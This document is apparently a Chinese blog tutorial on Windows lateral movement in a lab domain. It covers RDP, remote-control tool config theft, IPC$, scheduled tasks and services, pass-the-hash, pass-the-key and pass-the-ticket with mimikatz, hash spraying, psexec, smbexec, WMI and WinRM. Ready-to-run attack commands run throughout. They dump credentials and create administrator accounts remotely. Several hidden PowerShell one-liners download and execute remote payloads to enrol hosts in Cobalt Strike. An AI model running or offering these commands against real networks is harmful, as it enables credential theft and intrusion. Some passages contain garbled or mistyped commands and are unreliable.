7-横向移动

概述

横向移动指的是攻击者在内部网络中获得初始访问权限之后,通过相关技术扩大敏感数据和高价值资产权限的行为。

横向移动的方式有如下几种:

  1. 通过Web漏洞;
  2. 通过远程桌面;
  3. 通过账户密码;
  4. 通过不安全的配置;
  5. 通过系统漏洞;

利用远控工具横向

通过远程桌面横向

概述

远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者(所在计算机称为用户端或“本地计算机”)连上提供微软终端机服务的计算机(称为服务端或“远程计算机”)。

利用条件

  • 开启了3389端口;
  • 防火墙等安全设备允许通行;
  • 网络必须相通;
  • 有账户名和密码(或者HASH值);

查询3389端口开放情况

netstat -ano

image-20231211102955023

手动开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

注意:该命令需要高权限用户

查询远程桌面是否为3389端口

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber

连接RDP

1、通过密码抓取技术,如果可以抓取到明文的账户名和密码,则可以直接进行连接;

2、如果没有抓取到明文的账户名和密码,则需要通过HASH值进行连接;

privilege::debug
sekurlsa::pth /user:用户名 /domain:IP地址 /ntlm:Hash值 "/run:mstsc.exe /restrictedadmin"

1、通过cs等工具拿到计算机用户对应的hash值

image-20231212105108815

2、使用mimikatz工具进行hash传递(最好使用server 2016进行)

privilege::debug

sekurlsa::pth /user:administrator /domain:192.168.110.10 /ntlm:db40247dab331ac57c207032f198f364 "/run:mstsc.exe /restrictedadmin"

输入目标的IP地址
在这里插入图片描述

image-20231212105457020

通过Todesk横向

概述

ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件传输、云端同步和流量加密等功能。
Todesk有绿色精简版和全功能版两个版本,支持的系统有:Winodws/Linux/MacOS/Android/iOS。

操作

shell type C:\"Program Files (x86)"\ToDesk\config.ini

在这里插入图片描述

通过GotoHTTP横向

概述

使用远程控制时,不必在每一台电脑上都安装远程软件。

不同于传统C2C模式的远程控制工具,GotoHTTP工作在B2C模式。使用远程控制时,您不必在每一台电脑上都安装远程软件。不管身处何处,有浏览器就能访问远程电脑。 即使公司网络管控,仍然可以控制或被控制。支持文件传输、无人值守、剪切板同步、语音通话、远程摄像头、多显示器支持 …

官网网址:GotoHTTP - 在线远程控制平台

下载地址:GotoHTTP - 免费下载

操作

1、将GotoHTTP工具上传到目标机器

image-20231213100625102

2、运行上传的工具

image-20231213100732679

3、在同目录下会生成GotoHTTP的配置文件,文件里面有连接地址和账户密码

image-20231213100803422

查看配置文件
在这里插入图片描述

4、在Web页面进行连接
在这里插入图片描述

通过RustDesk横向

概述

RustDesk 是一款可以平替 TeamViewer 的开源软件,旨在提供安全便捷的自建方案。

官网地址:https://rustdesk.com/zh/

下载地址:https://github.com/rustdesk/rustdesk/releases/latest或者https://gitee.com/rustdesk/rustdesk/releases

操作

1、上传程序到目标机器

2、运行程序

image-20231213102851851

3、默认路径下的配置文件在C:\Users\用户名\AppData\Roaming\RustDesk\config
在这里插入图片描述

RustDesk.toml文件里面保存了连接ID和密码,读取该文件

shell type C:\Users\administrator\AppData\Roaming\RustDesk\config\RustDesk.toml

image-20231213104535055

密码为空

4、如果没有看到密码,则需要先将原RustDesk.toml文件下载,在password处添加6位数密码,再将文件进行上传

添加6位数密码,保存

image-20231213104900977

再上传到原位置,进行覆盖

5、关闭RustDesk进程,再启动RustDesk程序

查询进程PID

shell tasklist

在这里插入图片描述

结束进程

shell taskkill /PID 332 /F

image-20231213105133587

启动程序

image-20231213105215447

再次查看RustDesk.toml文件

shell type C:\Users\administrator\AppData\Roaming\RustDesk\config\RustDesk.toml

image-20231213105307798

6、连接目标机器

IPC$横向

概述

IPC$

IPC(Internet process connection)共享,为了实现进程间通信而开放的命名管道。

IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理和查看计算机的共享资源时使用。通过IPC$可以与目标机器建立连接,不仅可以访问目标机器的文件进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目标结构、用户列表等信息。

共享文件

文件共享指的是主动在网络上共享自己计算机中的文件,默认共享是为了方便管理员进行远程管理而默认开启的。

逻辑磁盘默认都是处于共享状态的。

image-20231218144618375

访问的命令格式为

\\IP地址\磁盘符$

注意:如果当前计算机A的用户账户是administrator,目标机器B上的账户也是administrator,且密码相同,则不需要输入密码就可以访问,默认会用本地账户密码进行认证。

\\192.168.110.20\c$

image-20231218151925903

IPC$连接方式

用户组连接

net use \\IP\ipc$ "password" /user:"username"

域用户连接

net use \\域名\ipc$ "域成员密码" /user:域名\域成员账户

删除ipc$连接

net use \\IP\ipc$ /del

利用条件

1、开启了139、445端口

IPC$可以实现远程登录及对默认共享资源的访问,445端口可以实现对共享文件打印机的访问,一般来讲需要445端口的支持。

2、管理员开启了默认共享

默认共享是为了访问管理员进行远程管理而默认开启的,包括所有的逻辑盘可以实现对这些默认共享目录的访问。

3、必须得知道对方机器的用户名和密码

注意:在内网中,很多计算机的账户密码都是一样的,故可以通过抓取本地计算机的账户密码,然后和对方的电脑进行IP连接

相关命令

查看共享资源

net share

删除C盘的共享

net share c$ /del

设置共享盘的名字

net share xbxaq=D:\  #设置D盘共享,共享名字为xbxaq

不同权限下的命令

IPC$建立连接之后,可执行系列命令:

查看远程计算机的盘符目录

dir \\IP\c$

image-20231219102059053

查询远程计算机上的进程

tasklist /S IP地址

image-20231219102301104

查看远端计算机上的文件内容

type \\IP\c$\文件路径

image-20231219102506409

查询远端计算机上的时间

net time \\IP地址

image-20231219102629062

将本地计算机的文件复制到远端计算机

copy 文件 \\IP地址\C$

image-20231219103147222

不同权限下执行相同的命令

不同权限/命令dirtypenet timecopy
administrator可以可以可以可以
普通管理员不可以不可以可以不可以
普通用户不可以不可以可以不可以
域管理员可以可以可以可以
普通域用户不可以不可以可以不可以
域administrator不可以(只能和域控)不可以(只能和域控)不可以(只能和域控)不可以(只能和域控)

与计划任务配合横向

利用计划任务功能,可以将任何脚本、程序或者文档安排在某个最方便的时间运行,计划任务在每次系统启动的时候启动并在后台运行。

计划任务在Windows XP电脑上使用at命令,Windows XP之后的电脑使用的是schtasks命令

image-20231219104639953

image-20231219104706346

#远程创建计划任务
schtasks /create /s 192.168.110.20 /u administrator /p a1b2c3.. /tn test
/tr c:/1.txt /sc onstart /RU System /F


schtasks /create /s 192.168.110.20 /tn test /tr c:/1.txt /sc onstart /RU System
/F


#运行计划任务
schtasks /run /s IP地址  /u username /p password /i /tn "计划任务名称"


#删除计划任务
schtasks /delete /s IP地址  /u username /p password /tn "计划任务名称" /f

注意:建立IPC认证之后,如果当前的用户是administrator,则不再需要账户密码

与Windows服务配合横向

Microsoft Windows 服务(即 以前的NT服务),能够创建在它们自己的Windows会话中且可长时间运行可执行的应用服务。

相关命令

image-20231219110826364

创建服务

sc \\IP地址 create test binpath= "cmd.exe /c c:\xbxaq.exe"

binpath= "cmd.exe /c c:\xbxaq.exe" ===> 通过cmd程序运行在C盘下面的xbxaq.exe

开启服务

sc \\IP地址 start test

删除服务

sc \\IP地址 delete test

与盘符映射横向

盘符映射就是将远程的共享磁盘映射到自己的电脑上,在已经建立IPC$连接的前提下,可以使用以下这个命令进行盘符映射。

net use 本地盘符:\\IP地址\远程的盘符$

例如:
net use k:\\192.168.110.10\c$

将ip10计算机上的C盘映射到本地的K盘上

image-20231219112354679

image-20231219112419077

PTH哈希传递

原理及条件

PTH概述

PTH(pass the hash),中文称之为哈希传递攻击,在NTLM和Kerberos认证中,都需要使用用户的NTLM-Hash值进行加密认证,所以知道了对方用户的NTLM-Hash值之后就可以使用PTH进行认证。

在域环境中,用户登录计算机时一般使用的都是域账户,大量计算机在安装时会使用相同的本地管理员账户和密码。

如果计算机的本地管理员账户和密码也是相同的,故攻击者就可以使用哈希传递攻击这种方法登录内网中其他计算机。

PTH原理-NTLM认证中

response是如何生成的呢?
response = NTProofStr+blob两部分组成的

  • NTProofStr:NTLM-v2-hash值和challenge+blob进行HMAC-MD5加密的

    NTLM-v2-hash值:大写的用户名+域名编码成Unicode格式,然后和密码的NTLM-HASH值进行HMAC-MD5加密

  • blob是由时间、目标信息、随机填充字符等生成

PTH原理-kerberos认证中

AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:

  • PA-DATA pA-ENC-TIMESTAMP:使用用户的hash值或者AES key加密时间戳生成的key

    PA-DATA pA-PAC-REQUEST:是否包含有pac(PAC 包含用户的SID、用户所在组等信息)

  • kdc-options:协商字段

  • cname:请求的用户名

  • realm:域名

  • sname:请求的服务名

image-20231229131745598

条件

1、有管理员的NTLM Hash值

2、目标机器开放了445端口

哪些用户可以进行PTH

  • 域管理员 administrator
  • 普通域管理员(admin domain组中的用户)
  • 普通域用户
  • 本地管理员 administrator
  • 本地普通管理员
  • 本地普通用户

不同用户下的PTH区别

本地账户测试环境

机器环境

  • Windows server 2003
  • Windows server 2008
  • Windows server 2012
  • Windows server 2016
  • Windows 10

各一台

账户准备

  • 每台机器创建相同的账户

user.bat

@echo off
net user administrator /active:yes
net user administrator A1b2c3d4.@.
net user xbxaq Z1x2c34@! /add
net localgroup administrators xbxaq /add
net user test 23zxCv@.ABc /add

image-20231220114209796

  • administrator 超级管理员
  • xbxaq 本地管理员
  • test 普通用户

抓取每个账号HASH值

mimikatz命令

privilege::debug
token::elevate
lsadump::sam

administrator
Hash NTLM:f952cdd9583547bdbb1502d2b6060afc

xbxaq
Hash NTLM:fa4afe3f359c5ed2932c6abcc5439568

test
Hash NTLM:4f3c171070a3f75632f4a972f5291b6a

PTH哈希传递

mimikatz工具

privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntl

执行成功后,会弹出cmd窗口,可使用IPC$进行验证是否传递成功

使用administrator的账号进行hash传递

sekurlsa::pth /user:administrator /domain:192.168.146.134 /ntlm:f952cdd9583547bdbb1502d2b6060afc

image-20231220121257829

传递成功

sekurlsa::pth /user:xbxaq /domain:192.168.146.134 /ntlm:fa4afe3f359c5ed2932c6abcc5439568

image-20231220121532198

传递失败

本地账户传递

超级管理员 hash值传递

机器型号账户名结果
Windows server 2003administrator成功
Windows server 2008administrator成功
Windows server 2012administrator成功
Windows server 2016administrator成功
Windows 10administrator成功

普通管理员 hash值传递

机器型号账户名结果
Windows server 2003xbxaq成功
Windows server 2008xbxaq失败
Windows server 2012xbxaq失败
Windows server 2016xbxaq失败
Windows 10xbxaq失败

普通用户 hash值传递

机器型号账户名结果
Windows server 2003test失败
Windows server 2008test失败
Windows server 2012test失败
Windows server 2016test失败
Windows 10test失败

总结

administrator账户可以进行PTH传递,本地普通管理员只可以在Windows server 2003 、XP中进行PTH传递,本地普通用户不可以进行PTH传递。

域内账户测试环境

账户

  • administrator 域内超级管理员
  • xbxaqsec 域普通管理员组,密码为Abc321@.zxc
  • test 域内普通用户组,密码为zbXAS12@34

image-20231220125059773

image-20231220125112321

抓取HASH值

使用mimikatz工具读取所有用户的hash值

lsadump::dcsync /domain:xbxaq.com /all /csv

hash值

用户名hash值
administratordb40247dab331ac57c207032f198f364
xbxaqsec29702c72ab196dd8712b96f8dd5db1c3
test1cf629e4627ef393d59c36957524e9d4

hash传递

psexec.exe 域名/账户名@目标机器名 -hashes lmhash值:nthash值


lmhash默认为禁用状态,aad3b435b51404eead3b435b51404ee

例如对Windows server 2008机器使用administrator用户进行hash传递

psexec.exe xbxaq/administrator@zhangsan.xbxaq.com -hashes aad3b435b51404eead3b435b51404ee:db40247dab331ac57c207032f198f364

image-20231220142047854

传递成功

psexec.exe xbxaq/test@zhangsan.xbxaq.com -hashes aad3b435b51404eead3b435b51404ee:1cf629e4627ef393d59c36957524e9d4

image-20231220142205294

传递失败

域内账户传递

域超级管理员 hash值传递

机器型号账户名结果
Windows server 2003xbxaq\administrator成功
Windows server 2008xbxaq\administrator成功
Windows server 2012xbxaq\administrator成功
Windows server 2016xbxaq\administrator成功
Windows 10xbxaq\administrator成功

域普通管理员 hash值传递

机器型号账户名结果
Windows server 2003xbxaq\xbxaqsec成功
Windows server 2008xbxaq\xbxaqsec成功
Windows server 2012xbxaq\xbxaqsec成功
Windows server 2016xbxaq\xbxaqsec成功
Windows 10xbxaq\xbxaqsec成功

域普通用户 hash值传递

机器型号账户名结果
Windows server 2003xbxaq\test失败
Windows server 2008xbxaq\test失败
Windows server 2012xbxaq\test失败
Windows server 2016xbxaq\test失败
Windows 10xbxaq\test失败

总结

域内administrator和普通管理员可以进行PTH传递,域内普通用户不可以进行PTH传递(默认)。

Hash值批量碰撞

内网中,系统在安装的时候,一般会采用统一的账户和密码,当我们获取到一台电脑的hash值之后,可以使用hash碰撞的方式,找出拥有相同账户密码的计算机。

这里主要介绍两种方法

power shell脚本

Invoke-TheHash,可以通过把NTLM hash传递给NTLM v2身份验证协议进行身份验证的攻击套件。

执行该脚本不需要本地管理员权限

条件:power shell 2.0及以上

用法:

Import-Module .Invoke-TheHash.ps1 (导入批量模块)
Import-Module .Invoke-WMIExec.ps1 (导入wmi模块)
Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364

image-20231220155721656

CS上执行Invoke-TheHash脚本

1、先将Invoke-TheHash.zip通过文件管理上传

image-20231220163620094

2、再上传unzip.exe小工具

image-20231220163717474

3、通过unzip.exe对powershell脚本进行解压缩

image-20231220163833388

4、进入 Invoke-TheHash目录执行以下命令

image-20231220164242556

shell powershell -exec bypass -command "& { import-module .\Invoke-TheHash.psd1; Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364}"

image-20231220164726277

crackmapexec工具

crackmapexec也可以进行批量碰撞

crackmapexec.exe 192.168.110.0/24 -u administrator -H aad3b435b51404eead3b435b51404ee:db40247dab331ac57c207032f198f364

image-20231220163233740

PTH认证CS上线

需要实验机器关闭防火墙

1、image-20231221105748713

2、选择需要上线的主机IP地址,右键jump,点击psexec

image-20231221105906212

3、选择所需要使用的用户名

密码就是用户名对应的hash值,Domain就是目标主机的IP地址,再分别选中监听器与会话

点击开始等待上线

image-20231221110544932

Mimikatz工具进行PTH

相关命令

privilege::debug 
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm-hash
执行完成之后会弹出一个cmd

可以利用这个cmd命令执行程序,配合copy、计划任务或添加服务等方式进行上线。

privilege::debug 
sekurlsa::pth /user:administrator /domain:192.168.110.10 /ntlm:db40247dab331ac57c207032f198f364

image-20231221115107831

利用PTH进行远程桌面

开启远程桌面的命令

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

在这里插入图片描述

Mimikatz命令

privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或IP地址 /ntlm:hash值  "/run:mstsc.exe /restrictedadmin"



例如:
sekurlsa::pth /user:administrator /domain:192.168.110.10 /ntlm:db40247dab331ac57c207032f198f364 "/run:mstsc.exe /restrictedadmin"

PTK密钥传递

概述

PTK(Pass The Key),中文称之为密钥传递攻击。在PTH密钥传递攻击中,使用的是NTLM-HASH值。PTK密钥传递攻击中使用的是AES256或者AES128的方式,PTK攻击只能用于Kerberos协议认证。

原理

在kerberos协议中 PTK攻击原理

AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:

  • PA-DATA pA-ENC-TIMESTAMP:使用用户的hash值或者AES key加密时间戳生成的key

    PA-DATA pA-PAC-REQUEST:是否包含有pac(PAC 包含用户的SID、用户所在组等信息)

  • kdc-options:协商字段

  • cname:请求的用户名

  • realm:域名

  • sname:请求的服务名

image-20231229131745598

AES KEY

AES KEY是kerberos协议中所使用的,所以一般域用户才有AES KEY。

AES分为两种 aes256和aes128,本地用户是没有aes key的

获取key的值

Mimikatz工具相关命令

privilege::debug
sekurlsa::ekeys

没有加入域环境

image-20231221120533538

加入了域环境

条件

  • 域环境
  • 支持aes进行认证

KB2871997补丁

Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安全保护机制。

所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server2012也可以更新该补丁后获得上述安全保护机制。

介绍增强的安全保护机制中有如下部分几点:

  • 减少存储在内存中的凭据数据
  • 支持现代身份验证(Kerberos AES)

上线

概述

PTK本质是一种认证,这种认证不具有攻击性。如果一些特殊账号的key被攻击者获取并利用PTK传递攻击,攻击者可以生成对应账户的 TGT票据,然后将票据导入到内存中,那么就可以访问目标的计算机。

使用getTGT工具申请TGT,将TGT导入到内存中,实现访问目标计算机,后续配合计划任务、添加服务等工具就可进行CS上线。

操作

1、使用mimikatz工具获取aes key值

privilege::debug
log
sekurlsa::ekeys

提示:在获取key值之前可以生成日志文件,便于查看。

administrator的key值为a6f84b64a0e722cd6bbff472a56d30132f9459f07e7d4a558a1c726ddba1f14f

2、生成TGT

使用getTGT工具进行生成

getTGT.exe 域名/用户名 -aesKey key值
getTGT.exe xbxaq.com/administrator -aesKey a6f84b64a0e722cd6bbff472a56d30132f9459f07e7d4a558a1c726ddba1f14f

执行成功之后,会生成一个.ccache的文件

image-20231221154800429

3、将TGT注入到内存中

使用mimikatz工具

image-20231221155352727

Kerberos::ptc 票据名字
mimikatz kerberos::ptc administrator.ccache

image-20231221155612314

查看票据

mimikatz kerberos::list

image-20231221155702049

4、访问域控上的c盘

image-20231221155927410

image-20231221160112831

接下来就是接合copy、计划任务、添加服务等技术使得目标机器上线。

PTT票据传递

概述

PTT(Pass The Ticket),票据传递攻击,PTT攻击只能用于Kerberos认证,PTT是通过票据进行认证的。

注意:进行票据的传递,不需要提权,域用户或者system用户即可。

原理

image-20231221170541651

在认证中主要涉及两个票据:TGT与ST

如何获取这两票据呢

  • 域账户明文密码
  • 域账户的NTLM-HASH
  • 域账号的AES
  • 直接伪造
  • 系统漏洞
  • 系统本身就存在票据(mimikatz工具命令 Sekurlsa::tickets /export 可导出票据)

三种传递

  • PTH,NTLM-HASH值进行认证,支持Kerberos与NTLM认证
  • PTK,AES值进行认证,只能用于Kerberos认证
  • PTT,票据进行认证,只能用于Kerberos认证

条件

  • 域环境
  • 相应的票据(主要为域管理员票据)

不同用户权限票据进行认证

申请不同票据进行传递

1、利用getTGT工具进行账户密码申请票据

getTGT.exe xbxaq.com/administrator:a1b2c3d4..

image-20231221171658088

2、使用mimikatz进行票据加载

kerberos::ptc administrator.ccache

image-20231221171927602

3、访问域控的c盘

image-20231221172029742

4、查看本地票据

cmd中执行klist

image-20231221172103754

清除本地票据

cmd中执行   klist purge
mimikatz中执行 kerberos::purge

image-20231221172230560

5、利用copy、计划任务、添加服务等方法进行CS上线

administrator 域超级管理员

计算机版本结果
Windows server 2008 R2可以
Windows server 2012 R2(域控)可以
Windows server 2016 R2可以

xbxaq 普通域管理员

计算机版本结果
Windows server 2008 R2可以
Windows server 2012 R2(域控)可以
Windows server 2016 R2可以

test 域普通用户

计算机版本结果
Windows server 2008 R2不可以
Windows server 2012 R2(域控)不可以
Windows server 2016 R2不可以

其他横向工具

PSexec

概述

psexec工具是微软提供的pstools工具集合中的一款远程命令行工具,psexec工具不需要对方计算机开放3389端口,只需要对方计算机开启admin 共享和 i p c 共享和ipc 共享和ipc(依赖于445端口和135端口)

微软官方下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

常用命令

psexec.exe \\IP地址 -u username -p password -s cmd.exe	#交互式shell
psexec.exe \\IP地址 -u username -p password -i -w c:\ cmd 进入交互式cmd,且c:\ 为目标机器的工作目录
psexec.exe \\IP地址 -u username -p password -d -i c:\beacon.exe 执行C盘下的beacon.exe
psexec.exe \\IP地址 -u username -p password -h -i -d c:\beacon.exe 以UAC的用户权限执行文件

更多使用方法:https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec

当前环境两台Windows server 2008计算机

image-20240102172022781

工作原理

当我们允许psexec工具之后,流量是怎么个事呢?

命令为:

psexec.exe \\192.168.110.8 -u administrator -p a1b2c3.. -s cmd

1、使用提供的账户和密码进行NTLM协议认证

image-20240102172652527

2、认证成功之后,连接IPC , a d m i n ,admin admin共享文件,以此将psexesvc.exe上传到c:/windows目录下

image-20240102172829558

image-20240102173007149

3、调用svcctl并创建PSEXESVC服务,该服务是由psexesvc.exe程序运行的。

image-20240102173124607

image-20240102173349601

4、调用服务创建命名管道

命名管道基于smb协议通信,用来让两个进程间进行通信的命名管道,类似于socket连接,用来传输数据。

image-20240102173527213

注意:psexec工具会在目标机器上留下大量的日志,因为会涉及创建服务和相关认证

image-20240102173744143

image-20240102173754343

image-20240102173803299

SMBexec

概述

2013年在defcon大会中首次提出smbexec,该工具支持明文认证、NTLM认证、aeskey认证等方式

相关命令

smbexec.exe username:password@IP地址

image-20240102181158593

image-20240102181321542

工具原理

大致流程如下:

  1. 建立IPC$连接
  2. 通过服务执行命令
  3. 将命令存储在%temp%/execute.bat文件中
  4. 运行execute.bat文件,将结果存储在C:/_output文件中
  5. 删除execute.bat文件
  6. 通过客户端读取目标机器的C:/_output文件内容

用提供的账户和密码进行NTLM协议认证

image-20240102181649119

在数据包中过滤输入的命令 ipconfig

image-20240102182245025

image-20240102182333865

%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

image-20240102182548025

WMI命令

概述

WMI为Windows在power shell未发布之前,微软用于管理Windows系统的数据库工具,WMI本身的架构就是一个数据库架构,WMI服务使用DCOM或者WinRM协议。

在使用wmiexec进行横向移动的时候,Windows操作系统默认不会将WMI的操作记录在日志中,因此很多APT组织都使用WMI进行攻击。

相关命令

命令作用
wmic nicconfig get ipaddress,macaddress查看系统中网卡的IP地址和MAC地址
wmic ntdomain list brief域控机器
wmic useraccount list brief用户列表
wmic share get name,path查看系统共享
wmic service list brief|more服务列表
wmic start list full识别开机启动的程序,包括路径
wmic fsdir “c:\test” call delete删除C盘下的test目录
wmic nteventlog get path,filename,writeable查看系统中开启的日志

其他操作命令

1、执行命令并且进行输出

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"

2、列出远程主机的进程

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process list brief

3、在远程计算机中执行BAT脚本

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create c:\test.bat

4、添加用户

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c net user test A1b2c3d4.. /add && net localgroup administrators test /add"

5、执行powershell脚本上线

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('PS脚本地址'))\""

RPC协议

DCERPC为Windows系统中非常基础的通信协议,DCERPC比RDP协议更为普遍,默认为开启状态,内容丰富,接口众多。

DCERPC协议的默认端口为135

RPC协议-OXIDResolve接口 流量分析

使用的wmic命令为

wmic /node:192.168.110.8 /user:administrator /password:a1b2c3.. process call create "cmd.exe /c ipconfig >c:\ip.txt"

image-20240102192945987

第一个数据包分析,该数据包表明利用了RPC协议调用的接口为OXIDResolve

image-20240102193418400

image-20240102193518091

第二个数据包分析,目标机器返回的数据包中包含了确认信息

image-20240102193541209

image-20240102193557176

第三个数据包分析,利用dcom发起OXID接口的请求数据包

image-20240102193639088

image-20240102193710799

第四个数据包分析,OXID接口返回的数据,包含了工作组名字、域名、IP地址、IPV6地址等等

image-20240102193759601

image-20240102194005907

RPC协议-OXIDResolve接口规则

1、该接口的访问是未授权的(并没有进行认证,只要使用RPC调用OXID接口即可)

2、该接口可以得到目标机器的相关机器信息(机器名、IP地址、网卡等信息)

课外阅读:https://nosec.org/home/detail/4709.html 与 https://github.com/komomon/Dcerpc_Find_OSInfo/blob/main/Dcerpc_Find_OSInfo.py

RPC协议-NTLMSSP

ntlmssp服务主要针对RPC(远程过程调用),RPC有两种通信方式可以选择。一种为传输协议(TCP/IP、UDP等),第二种为命名管道(pipeline)。

通常情况下Windows默认都会选择传输协议,而由于RPC协议采用非加密传输 ,通信双方数据无法保证安全,而ntlmssp就是为此类RPC提供安全服务。

分析第一个数据包,包含认证方式等信息

image-20240102194902685

image-20240102195002633

分析第二个数据包,由于该接口是远程调用接口,故需要进行认证。这里使用的是NTLM挑战响应认证,数据包为challenge值,且包含自己主机相关信息(包含了域名、机器名、DNS域名等信息)

image-20240102195309761

image-20240102195250832

第三个数据包分析,response值,用于认证

image-20240102195500646

image-20240102195449895

第四个数据包分析,认证成功之后接着远程调用isystem mactivator接口,remotecreateinstance函数作用为实际对象创建对象引用。

image-20240102195527203

WMI横向利用条件

1、wmic命令需要本地管理员或者域管理员权限(有UAC权限的用户也可以)

2、端口135、445开放(部分脚本需要借助SMB认证)

利用WMI横向进行上线

1、利用机器自带wmic的命名(建议使用,自带的命令没有使用其它协议认证,也没有连接共享,不依赖于默认共享,并且可以过杀软)

wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c net user test A1b2c3.. /add && net grouplocal administrators test /add"
wmic /node:192.168.110.8 /user:administrator /password:a1b2c3.. process call create "cmd.exe /c net user test A1b2c3.. /add && net grouplocal administrators test /add"

192.168.110.7

image-20240102205403178

192.168.110.8

image-20240102205416693

执行powershell上线

wmic /node:IP地址 /user:本地管理员或者域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('ps脚本地址'))\""

2、wmiexec工具

由于该工具会走SMB认证和访问共享等行为,一般情况下杀软会进行拦截

相关命令格式:

wmiexec.exe <域名/>用户名:密码@目标IP地址 #希传递获得shell
wmiexec.exe <域名/>用户名:密码@目标IP地址 "ipconfig"  #执行ipconfig这条命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP地址	#哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP地址	#执行ipconfig这条命令

image-20240102212005739

image-20240102212036665

3、wmiexec.vbs脚本通过VBS调用WMI模拟psexec的功能,可以在远程系统中执行命令并且进行回显,获得远程主机的半交互式shell。

wmiexec.vbs支持两种模式,一种是半交互式shell模式,一种是执行单条命令

cscript.exe //nologo wmiexec.vbs /cmd IP地址 用户名 密码 "执行的命令"

例如:

cscript.exe //nologo wmiexec.vbs /cmd 192.168.110.8 administrator a1b2c3.. "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('powershell脚本地址'))\""

image-20240102212238132

4、Invoke-WMIexec脚本

用法:

Import-Module .\Invoke-WMIExec.ps1
Invoke-WMIExec -Target IP地址 -Domain 域名 -Username 用户名 -Hash hash值 -Command "执行的命令" -verbose

WinRM服务

概述

WinRM是Windows Remote Managementd(Windows远程管理)的简称,它基于Web服务管理(WebService-Management)标准,WinRM2.0默认端口5985(HTTP端口)或5986(HTTPS端口)。

如果所有的机器都是在域环境下,则可以使用默认的5985端口,否则的话需要使用HTTPS传输(5986端口)。

WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据,Windows server 2008 r2默认开启此服务,server 2012开始并集成在系统中默认开启,家庭版的计算机是默认关闭。

这种远程连接不容易被客户端察觉,也不会占用远程连接数。

官方文档:https://learn.microsoft.com/en-us/windows/win32/winrm/portal

开启WinRM服务

powershell 运行 enable-psremoting或者cmd运行winrm quickconfig(高权限用户执行)

image-20240102215053896

image-20240102215121905

查询本计算机的端口状态

image-20240102215308999

运行WinRM

两种方式,一种为winrs命令,一种为powershell脚本

winrs命令方式

winrs -r:http://目标机器IP地址:5985 -u:机器名\用户名 -p:password "执行的命令"
winrs -r:http://目标机器IP地址:5985 -u:机器名\用户名 -p:password cmd	#调用cmd命令
winrs -r:http://192.168.110.6:5985  -u:administrator -p:a1b2c3.. "ipconfig"

image-20240102222417308

当出现以上错误时,要在客户端上执行下面这条命令,设置为信任所有主机,再去连接即可,执行这条命令

winrm set winrm/config/Client @{TrustedHosts="*"}

image-20240102222502807

再次连接

image-20240102222555904

image-20240102222705097

powershell脚本

Invoke-Command 是 PowerShell 上的一个命令,用来在本地或远程计算机上执行命令

Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {命令}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}
Invoke-Command -ComputerName 192.168.110.6 -Credential administrator -Command {ipconfig}

image-20240102223024006

image-20240102223158819

流量分析

执行命令的同时进行wireshark抓包

winrs -r:http://192.168.110.6:5985  -u:administrator -p:a1b2c3.. "whoami"

image-20240102223521077

image-20240102223705419

首先观察挑战值数据包,在http协议中authenticate经过了加密,其中包含了挑战值还有访问机器的相关OS信息

image-20240102223900238

再观察response值数据包

image-20240102224007025

认证通过后,HTTP协议通过POST传输数据,data中就是具体的数据,不过进行了加密

image-20240102224207017

image-20240102224144914

winrm通信特征

  • 默认情况下,winrm使用TCP端口5985(HTTP)和5986(HTTPS)进行通信
  • winrm支持不同类型的身份验证和安全协议,如基本身份验证、NTLM和kerberos
  • 16
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
